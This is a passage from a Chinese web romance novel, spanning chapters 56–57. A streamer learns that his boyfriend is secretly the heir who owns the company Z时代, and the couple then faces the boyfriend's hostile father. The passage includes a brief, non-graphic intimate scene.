“反正不管怎么说,只要你现在知道我没有那个意思就好。我们以后如果遇见了这种事,就努力把话说开了,不要像今天这样,不要有任何隐瞒。因为我爸和我说了,我真的觉得很有道理,只有互相扶持,把关系建立在真诚之上的恋爱才能长久……” 祝闻声垂着头安静默默地听着,他的身体略微有些僵硬。 “对了,还有一件事,我一定要跟你好好说一下!”陶真忽然拍了一下大腿,乌溜溜的眼睛认认真真地望着祝闻声,“阿声,这房子真的是你的吗?” 周遭仿佛一瞬间安静下来,祝闻声骤然攥紧了垂在身侧的拳。 刚刚陶真还在和他说,只有把关系建立在真诚之上的恋爱才能长久,可是,现在陶真好不容易才同意不分手,若是他此刻坦白了,事情到底会发展成什么样子? 祝闻声张了张唇,欲言又止: “我……” “是不是因为喝了酒,所以才那么说?” 两人几乎同时开口,对上陶真的视线后,祝闻声闭上了嘴。 他沉默着将未尽之言吞了下去,深深地点了点头。 陶真成功给祝闻声找好了台阶下,眨了眨眼,终于将心中的巨石卸下,刚刚骤然被打断的亲密氛围似乎也渐渐升起。 他白皙的脸蛋微微涨红:“那我们在这里是不是……不太好?” 不过,虽然说是不太好,但是气氛都已经到这儿了,不做点什么,好像又有些说不过去。 陶真搂住祝闻声的后颈,双腿缠在他腰间,能够明显感觉到格外灼热的温度。 两人到现在为止,也就仅仅在曼城做过那一次,回家的这段时间不是被这个打扰就是被那个打扰,根本没有正正经经地亲密过一次。 被少年无意识地乱蹭了两下,祝闻声的呼吸骤然重了起来,他将少年往自己怀里掂了掂,低声说:“不会不好。” 金发少年似乎有些羞耻,慢慢地闭上眼,浓黑的睫羽颤抖着,白皙的脸蛋上涨着晕红,粉嫩的嘴巴撅起。 祝闻声也情难自禁地垂下眼,伸手扣住他的后颈,两人之间的距离越靠越近。 然而,就在即将吻上的那刻,祝闻声却突然停住了。 他不知想到了什么,突然滚了滚喉结,压抑着开口:“……还是算了。” 提到嗓子眼、扑通扑通的心脏骤然落了下去,陶真睁开了有些颤抖的睫毛,有点茫然地望着祝闻声:“啊?” 算了? 什么算了? 亲都没亲呢,就不做了? 大约是陶真双眸中的震惊有些太过明显,祝闻声干脆直接挪开了目光,将他放在沙发上坐好。 陶真顺从地坐好,还没来得及问他要干什么,下一刻就感觉自己的双腿被人单手分开,一道高大的人影低着头,在他面前跪下了。 “……???” 陶真整个人都懵了,下意识地想要拉祝闻声起来:“阿声,你干什么,我……” 话音未落,他腰间系带的蝴蝶结被人摁住了一角,抽开,有些松散。 祝闻声垂下了头,轻轻松松地,把他接下来的话吞了进去。 陶真不说话了。 头顶的水晶灯光被切割成了细碎的钻石,太过于刺眼。他忍不住伸出手来捂住了自己的双眼。 大脑宕机,几乎失去清醒的意识,只剩下了三句话来来回回地在大脑中播放。 疯了。 肯定是疯了。 祝闻声怎么能跪在他面前? 不知到底过了多久,身边的空气似乎变得越来越粘稠窒息,整个人的身体仿佛被拖进了泥潭中动弹不得,浑身的肌肉都已经不受自己的掌控。 瞬间过后,陶真猛地睁开了眼,黑润的眸中倒映着细碎淋漓的水光,粉嫩的唇瓣被自己咬得发红,两条又白又细的长腿有些难以控制地颤抖着。 祝闻声也终于不再跪在地上了。 他慢条斯理地起身,从一旁抽了两张纸来简单地清理了一下手指,一张俊美无俦的脸庞有些潮湿,唇边有些许水渍。 “乖,带你去浴室。” 陶真的耳朵尖都红了,什么话也说不出来,过了几秒才闷闷地嗯了一声。 忍着羞耻等祝闻声带他去卫生间清理完,整整齐齐地站好,陶真才感觉自己的羞耻心和胆子一块回来。他垂下眸看了看小祝闻声,犹豫着牵住了祝闻声的衣角:“那……那你怎么办?” “要不要我帮你呀?” 祝闻声的身体有一瞬间的僵硬,立刻就转过了身,丝毫没有在意自己:“……不用。” 仿佛自己很脏,不敢让陶真碰似的。 陶真敏锐地意识到了他的抗拒,莫名有些不太放心。 这事是能憋的吗?不会给人憋不行了吧? 他本想再问两句,可是现在的时间已经不早了,他们总不好在别人的地盘过夜,便尽快收拾了东西离开这里,将这件事情压了下去。 …… 经历了惊心动魄的一晚,翌日上午,陶真却还是被生物钟叫醒了。 才早上六点多,今天是周日,又没有课赶着要上,不过转专业的事情迫在眉睫,还有许多东西要学……脑海中天人交战了一会,陶真挣扎了片刻,还是狠下心,逼着自己爬下床穿衣服。 这个点还很早,他本以为身边的祝闻声还在沉睡,所以动作都轻手轻脚的,根本不敢发出声响。 然而,直到他准备整理被子时才发现,床上竟然是空的,被窝里只有他睡过的地方还残留着余温,祝闻声那块早就冰冰凉凉的了。 奇怪了,祝闻声起这么早干什么? 陶真满腹好奇地出了卧室,在浴室门口看见了刚出来不久的祝闻声,青年的黑发湿漉漉地抓在脑后,浑身上下还浸着些许水汽,似乎刚刚才冲完澡出来。 同样是男生,为什么一早上要冲澡,原因简直昭然若揭。昨天晚上的思绪骤然回归,陶真忍不住挠了挠脸颊:“阿声,那个……” 其实祝闻声完全可以让自己帮他的呀。 既然两人的关系都已经比以往升级了……做亲密的事情,不是更加理所应当的吗? 然而祝闻声却仿佛没有读懂他话语中的意思,蜜色的胸膛上下起伏了片刻,若无其事地说:“怎么起这么早?早上想吃什么?” “……” 陶真顿了顿,似乎有些欲言又止的样子。 黑发青年却不敢再看,连头发也没有吹,直接搭着毛巾去了厨房间做早饭。 其实知道陶真到底是什么意思,只是装成不知道,不敢靠近陶真而已。 他怕陶真若是以后知道了真相,会因为他这时候的靠近,而更加厌恶他。 他已经是个骗子了,不能再当个贪婪的无赖。 一顿早饭结束,陶真背着包准备去图书馆,准备复习专业课和转专业所要准备的知识,祝闻声便也跟他一块出了门。 然而他的目的地却不是俱乐部和Z时代,而是赵钊家。 刚通宵完上床睡了没一个小时的赵钊听见门铃声,满脸怒火地从床上爬下去开门,还没来得及骂上一两句,就看见了自己面容冷峻的好友。 一瞬间,他心口的怒火全散了,有点不可置信地摸出手机看了眼时间,抹了抹眼睛,呆滞道:“……哥们,你咋过来了?” 他忍不住想起了自己那天跟祝闻声说的话——“我们下次能不能换个地方见?老是在你这俱乐部里,我总感觉自己跟个定时刷新的NPC一样。” 其实他只是随口一说而已……赵钊没忍住嘿嘿笑了一声,将祝闻声迎进了门,得了便宜还卖乖道:“哎哟你看看你,大老远跑过来干啥呀?跟我说一声,我去找你不就好了吗?来来来坐……” 祝闻声:“……” 他从赵钊手里接过拖鞋穿上,往里走到沙发旁。 赵钊浑身无力,直接懒洋洋地躺了下来。 他没多想,知道祝闻声最近来找他的目的恐怕就是那一个,于是开门见山道:“你那个坦白的事情进行得怎么样了,还顺利吗?有什么我可以帮得上忙的?” 一旁的祝闻声却忽然不动了,垂下眸,唇线缓缓拉直。 气氛冷凝,原本吊儿郎当的赵钊敏锐地意识到了不对劲,把搭在茶几上的腿收了下来,有点迟疑地问:“难道……没成功?” 祝闻声犹豫了一会儿,摇了摇头:“不是……” “不是?那你现在不是应该很开心吗?怎么一副……” “不是没成功,是还没来得及。” 赵钊顿住了,略微有点吃惊地瞪大了眼睛:“还没坦白?怎么磨蹭了这么多天,这可不是你的风格啊。这种事情就应该快刀斩乱麻,越拖越容易出变故。” 祝闻声沉默了,他知道赵钊说的是对的,昨天晚上的事情就是最好的佐证。 只是前后几秒的工夫,他就错过了坦白的机会,越来越没有办法开口。 一个谎言,哪怕用了千百个谎言圆,最终也还是会崩溃成一滩碎片。 赵钊设身处地地为他着急:“哥们,你可不能再拖了,还记得那一天你跟我说过的他那朋友的事情吗?” “要是再等下去,你还没来得及主动告诉他,他就自己发现了你的身份……那时候的性质可就不一样了——” “我知道。” 祝闻声打断了他,垂眸安静地思考了片刻,语气轻得恍如叹息:“从一开始,我就不应该撒谎。” “所以,我已经想好了。” 不知为何,赵钊的心里涌起了一抹不太好的预感。 他坐直了身体,警惕地问:“……等等,你想好什么了?”- 也许是因为昨天没睡好,今早又强行逼着自己早起,陶真今天到图书馆时有些状态不佳,复习了一会儿之后就忍不住有些神游。 这种低效率的复习行为没什么意义,他干脆起身去外面呼吸一会新鲜空气换换脑子。 正是草长莺飞的季节,图书馆旁边的湖泊风景如画,长廊底下坐着成双成对的小情侣。 他们或是依偎在一块谈天说地,或者低下头各自做事情。相处的氛围静谧和谐。 陶真盯着他们看了几秒,突然就想起了祝闻声。 人的情绪是一种很微妙的东西。 细心的人,爱你的人,能从面部表情和肢体语言这种细枝末节中读出你的开心、悲伤与烦躁。陶真很明显地能感觉到祝闻声的状态不太对。 是从什么时候开始的呢? 昨天晚上,自己跟他说分手的那一会? 不,陶真很快就否认了这个猜测,他直觉,要追溯到更久远之前……或许,从佟夏和江姗两人爆发矛盾的时候。 当时,他只是为了两人的感情而感到唏嘘,可祝闻声却问他—— 如果,我也跟她一样,有一些事情瞒着你呢? “……” 意识到这一点的瞬间,陶真感觉自己抽住了毛线团的头,只用力一拽,那无数根纠缠不清的毛线就四散分裂开! 没错,正是在听见自己说“最讨厌被人欺骗之后”,祝闻声的态度才渐渐地有了变化;在他考虑着如何结束包养关系的时候,祝闻声似乎也焦躁着、试探着想要跟他说些什么;在昨晚的最后一道甜品上来时,两人几乎是同时开口的。 只是他先一步说了分手, 不然的话,祝闻声大概是要说些什么的。 陶真的呼吸骤然急促了起来,扑通扑通的心脏也越跳越快,是因为这样吗? 是因为……有事情瞒着他,所以后来祝闻声才会说“算了”?才会不敢面对他? 可一直以来,祝闻声瞒着他的,究竟是什么事情? 脑海里的思绪一片混乱,顾行舟的话、佟夏的眼泪、江姗的忏悔,一帧帧地闪回……陶真揉了揉发胀的眉心,下一刻,突然感觉口袋里的手机“嗡嗡”振动着,他胡乱地抽了出来。 【陶真!我看见你直播间已经解封了,你可以重新开始直播啦!】 【啊哈哈哈哈你这次可千万别再跟上次一样了,要是再因为跟男朋友贴贴被封,又要再被封上一个星期。不过嘛,我觉得……】 陶真的视线迅速地从这几行字上滑过,最后落在最顶端的备注上,视线凝滞。 联系人:齐戚。 陶真一愣。 等反应过来的时候,他的手已经快过了大脑,给齐戚发了条消息:【齐戚哥,请问,你那边有咱们老板的照片吗?】 屏幕上的备注变成了“对方正在输入中”,然而删删改改片刻后,那头干脆直接拨了个电话过来,陶真立刻接了。 齐戚大约是猜测到了什么,语气略微有些小心:“不好意思啊陶真,我这儿没有。之前开会的时候领导他们说过,不允许大家拍老板的照片放到网上,所以这玩意还挺难找的……你,你怎么突然问这个?” 没有证据,就等于空谈,不是事实。 陶真提到嗓子眼的心脏慢慢地降了下来,说不清心中涌起的情绪到底是遗憾还是庆幸:“哦,好,谢谢齐戚哥……没什么,我就是随便问问……” “咳,其实,”齐戚犹豫了一下,忽然暗示道,“虽然我这儿没有照片,但是吧,我知道一件事。” “每个星期一,Z时代都会开大会,所有高层都会到场。刚好我明天要去一趟公司和他们商量一下我之后的转型问题……所以,如果你要是想过来看看的话,也可以和我一起。” 陶真的呼吸一滞,片刻后才反应过来。 是的。 没有照片没关系,如果祝闻声真的是那位太子爷、是Z时代的老板……他可以自己去看。 深呼吸了一口气,将脑海中的所有思绪都按了下去,陶真认真的向齐戚道完谢之后才调理好心情,重新回到图书馆。 接下来的一整天都像是被按了加速键,陶真甚至都不知道自己究竟学了些什么就浑浑噩噩地回家了。 巧的是,他本来还在纠结自己要不要先和祝闻声沟通一下,祝闻声就同他说自己今晚有些事,暂时不回来了,在俱乐部的宿舍里休息。 陶真一时间没法确切形容自己的心情,明明几乎睁眼到天明,可精神却极度亢奋,一捱完了上午的课,便匆忙打车去了Z时代和齐戚汇合。 上次来这里,和这次来这里,心情完全不同。 一旁的齐戚虽然什么都没问,可看得出来,他似乎猜到了什么,目光中除了担忧以外,还有无法掩饰的好奇:“咱们上去吧?会议室都在同一层,所以……” 陶真仰起头冲他笑了笑,便点点头,跟他一块乘电梯上了楼。 “叮咚”一声,电梯门打开,映入眼帘的便是一个分叉口,两侧都是明亮又气派的会议室,齐戚摸了摸鼻尖,冲陶真比了一个“左”的手势,旋即才绕去右侧找了自己的经纪人和助理。 真正走到这里的时候,陶真感觉自己的双腿略微有些发麻。 可是,来都来了,不能退缩。 他深吸了一口气,轻手轻脚地迈向了左边的道路,状似不经意地往前走。 实际却牢牢地盯着磨砂玻璃与普通玻璃之间的缝隙,视线缓缓地滑过在场每一个领导,经理的脸庞。 第一间会议室,八人,没有。 第二间会议室,五人,没有。 第三间会议室,十人,没有。 …… 最后一间会议室,在道路的尽头。 若是在这儿被人发现了,便没有任何转圜的借口。陶真的额上冒出了豆大的冷汗,手脚冰凉,屏住呼吸,一个又一个地看过去。 这个不是,那个也不是。 不是,不是。 不是。 …… 不是。 陶真有点茫然地直起身。 最后的这十八人里,竟然也没有祝闻声。 也许,今天就这么巧,祝闻声并没有来开会;也许,是他从一开始就搞错了……祝闻声根本不是那位太子爷。 无论是哪个可能,他今天都空跑了一趟。 陶真闭了闭眼,忽然有些颓丧。 他拖着有些僵硬的腿往前走,没有注意到身后的会议室里有个女孩恰好抬起了头,不偏不倚地看清了他的脸。 等他走出会议室的廊道,进入电梯,摁完楼层,即将离开这里时,才听见了一道气喘吁吁的女音:“请等一下!” 陶真条件反射地伸手替她拦住了电梯:“好的。” 女孩匆匆挤进来,对他说了声“谢谢”,却没有摁楼层,也没有挪开落在他脸上的视线。 陶真收回了手,心里莫名咯噔了一下。 是刚刚在会议室里看见他,觉得他像窥探机密的危险分子吗? 他不自觉地将身体往角落里贴了贴,有点紧张地舔了舔唇:“那个,你去哪一层,我帮你摁……” “啊,十六层,非常感谢!”女孩这才恍然回神,意识到自己的举动太过于失礼,匆匆地挪开了盯着他的视线。 陶真不由得松了口气。 电梯缓缓下降,很快就从二十一跳到了十六。 “叮咚”一声,梯门向两侧开启。 女孩本该出去了。 但在离开之前,她像是实在没有忍住,花费了自己积攒了一整路的勇气,开口道:“那个……” 陶真茫然地抬起头:“嗯?” “‘真知棒’先生,”女孩小声说,“您是来找小祝总的吗?” “他今天很忙,所以没有来公司参加会议……您如果不介意的话,可以跟我一起去办公室休息一会再联系他。” 陶真愣住了。 过了两秒,他才听见自己问:“请问您是……?” “抱歉,我还没有做过自我介绍,您喊我小孙就可以。我是小祝总——祝闻声总经理的助理。” 56 ? 第 56 章 ◎“你为了我,到底放弃了什么东西?”◎ ——小祝总很忙, 今天没有来参加会议。 ——我是祝闻声总经理的助理。 …… 耳畔反复回荡着女孩的这两句话,陶真整个人都陷入了一种巨大的眩晕,灵魂仿佛被从身体里抽走, 变成旁观者冷静地审视着面前的一切。 是的,他的猜测没有错, 祝闻声的确从一开始就有事情瞒着他,的确就是Z时代的老板,那位传说中的太子爷。这是板上钉钉的事实, 不容许他为祝闻声辩驳分毫。 “……真知棒先生?”小孙见他的脸色有些不太对,生怕他出什么问题, 连忙问,“您还好吗?是身体不舒服吗,我带您去休息一会?” 电梯停在半空中,大门打开着, 女孩站在外面担忧地望着他。 陶真恍然回过神来, 走出了电梯, 跟在女孩的身后:“谢谢。” 小孙忙摇头,为他带路。十六层是Z时代领导以及部分员工的办公区域, 窗明几净,秩序井然。祝闻声的办公室就在最里层, 一墙之隔就是助理的办公室以及一个临时设置的会客室。 陶真沉默着在沙发上坐下,接过小孙递来的热茶水,突然低声道:“那个,我想问一下……你是怎么认出我的?” “啊。” 小孙微微一怔,很有些不好意思地站直了身子, 纠结了片刻, 还是将偷看到祝闻声电脑屏幕上陶真直播的事情压下去了, 只是含糊礼貌着说:“其实,小祝总经常在公司里关注您的消息,另外,我也看到了前段时间的热搜……” 陶真似乎有些怔在原地,不说话了。 小孙有些忐忑,后知后觉地意识到自己似乎被鬼迷了心窍,说的话做的事都超过了助理的份内,大有一副插手老板家事的意思。 她正有些懊悔着不知该如何补救时,便忽然看见陶真抬起头,冲她笑了一下:“……谢谢你孙小姐,我叫陶真。我在这里坐一会,等下就走。辛苦你了。” 见陶真没有生气的样子,小孙松了一口气,连忙说了几声“不辛苦”,匆匆地离开了会客室。 “咔塔”一声,大门关上。 室内安静下来,只剩下了陶真一个人。 他放下了热茶,往后靠在沙发上,闭上了眼。 所有压抑的情绪终于找到了出口,如压抑的火山一般“轰隆隆”地喷发了出来,万千思绪凌乱地挤满了整个脑袋,几乎快要将他撑炸。 祝闻声就是太子爷。 当局者迷,旁观者清,他自己被一叶障目,什么都还没发现的时候,齐戚他们早就已经给了他答案。 为什么祝闻声会反复强调自己没有陶真想象中那么穷,为什么他能轻松地将顶层餐厅包下来,为什么他拥有着堪称奢侈的迈巴赫和私人庄园…… 那是因为祝闻声根本就不是一穷二白,不是靠着自己的双拳硬生生打破家徒四壁的穷小子,他真实的身份,是太子爷。 为什么那位传说中的太子爷会在他第一次直播时准时准点的出现,为什么会在向日葵出言不逊的时候,第一时间为他出头,砸了十五万的礼物,就为了让他唱一首《暗涌》的歌…… 那是因为太子爷是他的恋人,祝闻声。 为什么万里无一的好身材会有两副,为什么祝闻声会跟那天晚上出席宴会的太子那么相似…… 那么多“为什么”说到最后,原因其实很简单,祝闻声和太子爷,“他们”,本来就是一个人。 所有意识到的,没意识到的细节都涌了上来,明晃晃地告诉陶真—— 现在就是这么个局面了,你看着办吧。 所以,要怎么办呢? 陶真用力地捏了捏自己的眉心,只感觉有些荒谬,有些崩溃,有些难以想象,有些难以形容。 或许他是应该生气的。 他最讨厌被人欺骗、被人当成小丑。祝闻声明明知道这一点,却依然没有向他坦白,反而硬生生地瞒了这么久。 而且祝闻声肯定不缺钱,根本看不上自己给他的那仨瓜俩枣,却偏偏还要留在自己身边……他到底想干什么?是想耍自己玩吗?就跟耍佟夏的江姗一样? 可是,这个念头升起的瞬间,又在下一瞬被否认了。 心底里有一个声音清晰地告诉他,不是这样的。 陶真相信祝闻声。 他相信,祝闻声不是那样的人。 Z时代举办宴会的那一晚,他被人迷迷糊糊地带到了偏厅当中,情急之下给了那位传闻中的“太子爷”一巴掌。 出门见到祝闻声以后,他还在想这件事,忍不住因狗咬吕洞宾不识好人心而愧疚,问祝闻声“太子爷”是不是因为这件事生气了。 当时的祝闻声是怎么说的? ——“不是。” ——“他知道你不是故意的,不会生你的气,只是有些讨厌那些自以为是的领导。” ——“说不定他还会很高兴,因为你有保护自己的意识。” ——“怎么不可能喜欢你?” ——“如果不是因为喜欢你,对你一见钟情,他为什么会把自己的外套脱下来给你披?” “……” 陶真忍不住抿紧了唇,忽然站起了身,心口涌出一股滚烫且热切的冲动。 若祝闻声真的只是想要耍他玩的话,他恐怕连个骨头渣子都被啃得不剩,毕竟祝闻声有无数种方法戏弄他、伤害他。 可事实证明了,祝闻声没有。 莫名其妙出现的、银游城黑金会员卡,“不知为何”得罪了太子爷、得到惩罚的吴斌,比所有人都要优越的Z时代合同……在他一无所知的时候,祝闻声悄悄地为他做了这一切。 他到底有什么好对祝闻声生气的呢? 从一开始,祝闻声就不是为了钱,才跟他在一起的啊。 一瞬间,窗明几净的会客室仿佛突然变成了热锅,陶真着急忙慌地蹿了起来,险些将桌上的热茶打翻,再也没有办法在这里多呆一秒。 他匆匆地和小孙说了再见,三步并做两步地跑去电梯口,焦灼地盯着跳动的数字。 这栋大楼实在是太高了,电梯一上一下要花费很多功夫。 陶真等了一会儿,见它还一直停在四十二层,简直失去了所有的耐心。恰好,余光瞄到了一侧的安全通道,他眼前一亮,直接冲了过去。 十六层、十五层、十四层……三、二、一。 越往下走,陶真的脚步就越发轻快。 他知道这个时候祝闻声没有课,所以没有犹豫,直接打了车往俱乐部驶去,心情雀跃得好似乘了风。 路上,他本来是想给陶大俊打个电话、说一下自己现在跟祝闻声关系的,临到头却觉得这样不太礼貌,于是将计划推迟到自己跟祝闻声见面后。 这也导致了一个相当严峻的问题——他的零花钱还没有回归,那张存着签约、拍视频、直播费用的银行卡也依然保持着冻结状态。 他浑身上下就只有支付宝里的一千多块钱。就算想要给祝闻声买点礼物、送点东西,都不知道究竟能买什么。 陶真抠着衣角,有点苦恼。 正在这时,汽车猛地急刹,此起彼伏的喇叭声震耳欲聋。前排的出租车司机开始骂骂咧咧。陶真坐在后排,因惯性险些磕到脑袋,心有余悸地揉了揉额头,抬起眼时,却刚好看见了挡住司机道路的罪魁祸首。 一群工人正推着巨大的背景墙以及拼接地板过马路,这件事对他们来说也很吃力,每个人都满脸涨红、大汗淋漓的,掩盖他们手中背景墙的幕布在行动间不小心被扯了一点下来,露出了里面的字—— “街头挑战赛”。 再定睛一看,这场街头挑战赛竟然还是跟音乐有关系的!上场的人要和台上的守擂者唱歌打PK,由台下的观众作评委,战胜守擂者的人可以拿到三千块钱的奖金。 三千块钱! 这放在以往对陶真而言真的算不上什么,仅仅是一个嘉年华的价钱,可如今却变得如此金光闪闪。他情不自禁地有些心动,想要再仔细看看这挑战赛的细则时,却发现汽车已然重新启动,驶入车流。 陶真心中不免有些遗憾,可是很快却又释然了,这种街头挑战赛虽然模式很像网上的PK,可跟PK又有很大的不同,这是现场、线下的,要当着那么多人的面唱歌。 别说奖金是三千块了,就算是三十万,他也没法做到这一点。这个街头挑战赛对他来说毫无意义。 不过,虽然心中已经劝自己将这件事放下了,等汽车拐弯、即将离开这条道路的时候,他还是忍不住转过头看了一眼那缩成一个小黑点的背景板,微微抿住了唇。 出租车一路疾驰,终于到了Light俱乐部门口,陶真付钱下车,目光不经意地瞟到了一辆停在路边的劳斯莱斯,车牌号甚至还是一串顺得不能再顺的数字。 陶真没忍住又看了一眼,自从知道自己的男朋友就是传说中的“太子爷”的时候,他连看这种车都觉得眼熟…… 迫不及待去见祝闻声,陶真收回视线,匆匆忙忙地推开大门,有点兴奋地跑了进去,可很快他就意识到有些不对劲,今天明明是个客流量不算多的工作日,可是普通会员部却人潮攒动。 里面不只有教练和会员,还有一帮专业格斗选手,这本来是他们的训练时间,可这会的众人却一个个的都跑到外面唠起了嗑。 陶真在人群里看见了大海,立刻过去打了个招呼,看了眼四周,不免问出了自己心中的疑惑:“大海,这是什么情况?里面也开始装修,不允许你们进去了?” 大海挠了挠头,老老实实地说:“没有啊,只有二楼宿舍装修的,但黎老板就是让我们今天先在外面休息一会,想练的话就用这里器材。” “你是来找S哥的吗?他没跟我们在一起,我也不知道他现在在哪儿呢。” 祝闻声竟然不在这儿吗? 陶真从Z时代出来之后的激动心情渐渐冷静了一些,跟大海说了声谢谢。他想给祝闻声打个电话,可外面实在是太吵了,想了想,他干脆直接往专业部多走了两步,等安静下来后才掏出了手机。 “嘟……嘟……嘟……” 等待音响起的同时,一门之隔的室内也传来了一阵略微有些朦胧的“叮叮叮”电话铃。 陶真微微一怔。 下一刻,他的手机一震,显示接通;室内的电话铃声也同时消失不见,取而代之的是祝闻声微哑低沉的声音:“喂,真宝?” 陶真呆呆地应了一声。 “我这边稍微有点事情要处理一下,等一下忙完了我给你回过去,好不好?” “好……” “我回去的路上会去一趟超市,你今天晚上想吃什么,等一下发给我,我给你做。” 陶真这会抿住了唇,半晌没说话。 他已经基本上能确认了,声音真的是从室内传出来的,祝闻声就在里面,跟他只有一墙之隔。 可他一时间却犹豫了,不知道到底要不要说出他就在门外的事实。毕竟,黎旻让选手们全部都离开这里,将里面的空间留给祝闻声,一定有她的原因。 况且……哪怕只是听祝闻声刚刚说话的声音,他就已经察觉到不对劲了。 祝闻声听起来很不开心。 虽然他说话的声音还和平常一样温柔,尾音却是落下的,仿佛正从某件烦心事中抽身出来,透着一股难以言喻的阴沉。 他正强行压抑着真正的情绪,努力放轻语调:“真宝,想吃什么发给我,我先继续去忙了,嗯?” 陶真骤然回神,应了一声好。 电话挂断,他却没有离开,反而微微抿紧唇,站起身,视线在四处逡巡了一圈,终于看见了一个角落里的通风口。 那通风口设置在最上面,很高,正常人都够不到;好在最近装修,屋外放着爬梯,足足有一两米高。 陶真想了想,咬着牙将沉重的爬梯搬到通风口下,小心翼翼地看了眼远处喧闹的人群,蹑手蹑脚地爬了上去。 视野骤然被屏风一样的铁栅栏分割成了一条一条,但足够看清室内的画面。 祝闻声果然在里面。 他的脸色冷峻阴沉,对面还站着一个陶真并不认识的中年男人。 这男人穿着一件奢牌西装,手上戴着的腕表反着光,看状态估计是百达翡丽;个子挺高,看模样也算不错,唯一的缺点就是身上浸淫着一股金钱酒色的味道,跟祝闻声比起来,气质简直一个天一个地。 陶真估计外面的那辆劳斯莱斯也是他的,忍不住在心中揣测了一番这男人和祝闻声的关系。 又有钱,长得又有点像……他会是祝闻声的亲人吗? 或者,说得更准确一点,他是不是祝闻声的爸爸? 从通风管道看里面到底还是有些太勉强了,陶真虽然好奇得抓心挠肝,可是只能看见两人的嘴皮子在动,听不清楚他们具体在说些什么。 只知道那男人似乎对祝闻声做的事情很不满意,正皱着眉头厉声说着什么,可祝闻声则毫不在意,保持着他一贯的面无表情。 渐渐地,那男人被祝闻声气的冷笑了一声,不知想起了什么,干脆骂了一句脏话。祝闻声这才终于有了反应,整个人的脸色猛地沉了下来,死死盯着面前的男人说了两个字。 那男人似乎有些不可置信,接着咒骂了几句。祝闻声冷冷地盯着他,又重复了一遍刚刚说的话。 终于,那男人恼羞成怒,胸膛上下起伏着,脸几乎被气成了猪肝色,高高地对祝闻声扬起了巴掌! “不许碰他!!” 反应过来时,陶真已经抓住了通风网的边缘,愤怒至极地冲里面大吼了一声。 室内的二人动作一僵,男人一脸震惊地寻找着声音的来源,祝闻声的脸色却突然一白,猛地抬头看向了通风口。他再也顾不上和那男人辩驳,急匆匆地打开大门冲了出来: “小心!” 小心? 小心什么? 正在疑惑之际,陶真却突然感觉自己脚底下的爬梯应景地摇晃了起来,铁网也被拉扯得发出了“咯咯”的摩擦声,整个人在半空中摇摇欲坠,心猛地狂跳了起来,腿软得直发颤。 反正这个高度摔也摔不死,他正打算一咬牙、一闭眼闷头往下跳的时候,就突然感觉自己的余光一花,一道人影直直地向他扑了过来,一骨碌将他抱着滚到了一边。 爬梯“砰”地一声砸下。 陶真被祝闻声好好地护在了怀里,脸蛋埋进了他的胸膛,只能看见梯子倒下时溅起的一地浮尘。 心脏狂跳,过了好几秒才反应过来,慌忙地直起身,像个色中饿鬼一样将祝闻声的小臂和后背摸了个遍,有些气急:“有没有砸到哪里?你刚刚跑过来干嘛呀,反正那个高度我又摔不死,反而是你被我砸到更容易出问题……” 祝闻声却没应声。 他也慢吞吞地直起身,仔仔细细地检查了一遍陶真身上的骨头,旋即才抬眸,有些认真地望着他:“那你刚刚为什么要说,‘不许碰他’?” 这会轮到陶真愣住了。 对啊,他刚刚为什么要下意识地喊出那声不许碰他。 明明知道祝闻声是万中无一的格斗选手,别说一个中年男人了,就算来十个他也打得过……可是那一刹那,陶真就是没忍住。 他当然知道祝闻声打得过那个人,可他就是舍不得祝闻声挨打。 祝闻声也是一样的。 “……” 陶真跟他一块爬了起来,忍不住抿起唇笑了。 他没问祝闻声到底为什么跟这个男人单独在室内吵架,祝闻声也没问他在外面看了多久,两人不约而同地没有开口,只替对方掸了掸身上的灰尘。 他们这边挨挨挤挤,正打算一块起身离开这里再说,那头的祝冠清却仿佛再也忍受不了。 他深吸了一口气,怒目圆睁地跑了过来,先是看了一眼祝闻声,又指向他身后的陶真,冷笑了一声:“看起来你们感情很好的样子啊。想必这位就是你的‘男朋友’了吧?” 刚刚面对着陶真时的温和消失殆尽,祝闻声抬起眼冷冷地盯着他,语气平静且冷漠:“让开。” 祝冠清的脸色铁青,但就是站在祝闻声跟前,语气格外讥讽:“现在感情好,可不代表着以后的感情好。自以为自己是为爱做出这样的举动很伟大,不知道自己其实是个傻瓜……” “……” 祝闻声实在是不想跟他说话了,便直接牵起了陶真的手腕,带着他一块越了过去。 深知祝闻声这一走,自己下次再想见他便不会那么容易,祝冠清的脑袋嗡嗡响,干脆破罐子破摔,冷笑道:“好!祝闻声!你走吧,你现在不用,以后也他妈的也别用祝家的一分钱!” “你以为自己跟人家是真爱啊,你不知道自己在别人眼里其实是个笑话吗?等你真的没钱了,看你的小男朋友到底会不会再和你在一起!你以为你自己算什么东西!没有祝家,你他妈的什么东西都不是!你竟然还敢跟我顶嘴……我是你爸!就算我把你打死了,我还是你爸!” 祝闻声的身体猝然绷紧了。 连握住陶真的那只手都在克制不住地用力,骨节在一瞬间变得极为苍白,不敢回头看陶真。 祝冠清说得这么明显,陶真即使猜不到,也该怀疑他了。 他好像连身上的最后一层遮羞布都被人扯烂,整个人都像是个骨头架子一样僵硬在原地,好像只要一碰就能稀里哗啦地散落一地。 祝冠清还在身后滔滔不绝,内容无外乎于发疯般的辱骂。 祝闻声僵硬了许久,才试探性地往下,拉起了陶真的手。 两人越过拥挤的人群,走出了俱乐部。 屋外是难得的春光明媚,草长莺飞,可祝闻声却如坠冰窟,过了许久,不舍得松手,却也不敢把陶真的手握得太紧。 过了半晌,还是陶真主动开口:“阿声。” 祝闻声的喉结滚了滚:“……嗯。” “刚刚,你…爸说的那些话,是什么意思?” 陶真深吸了一口气:“你为了我,到底放弃了什么东西?” 57 ? 第 57 章 ◎爱和梦想都有优先级,陶真永远是他的第一名。◎ 今天上午, 祝闻声其实就看见祝冠清给他打电话了。 从多年前和司姝分开以后,祝冠清就一直保持着神龙见首不见尾的状态。只有在祝家二老强行要求他的时候才会出现。他好像也完全忘记了自己还有个儿子,没给祝闻声花过什么钱, 反而经常带着各种嫩模、小明星,通宵彻夜地参加着party, 带着她们往全国各地飞。用祝家二老辛辛苦苦积累的家业花天酒地,混吃等死。 他甚至这么多年都没怎么联系祝闻声,对他的关心和照顾实在是少的可怜——或者可以说是几乎没有。 父子俩之间的关系相当淡漠, 祝闻声也不想搭理他,所以甚至连他的电话都没有接, 直接选择了忽略。 他觉得有很大的可能是祝冠清不小心打错人了,也许是因为这些年治好了自己不能生孩子的隐疾,在外面给他生了一堆弟弟妹妹。 不过很快,祝冠清就又给他打了一个电话, 同时发来的还有带着感叹号的命令句“接电话!”, 祝闻声的眉心微微愈发拧紧, 依然直接摁灭了屏幕。 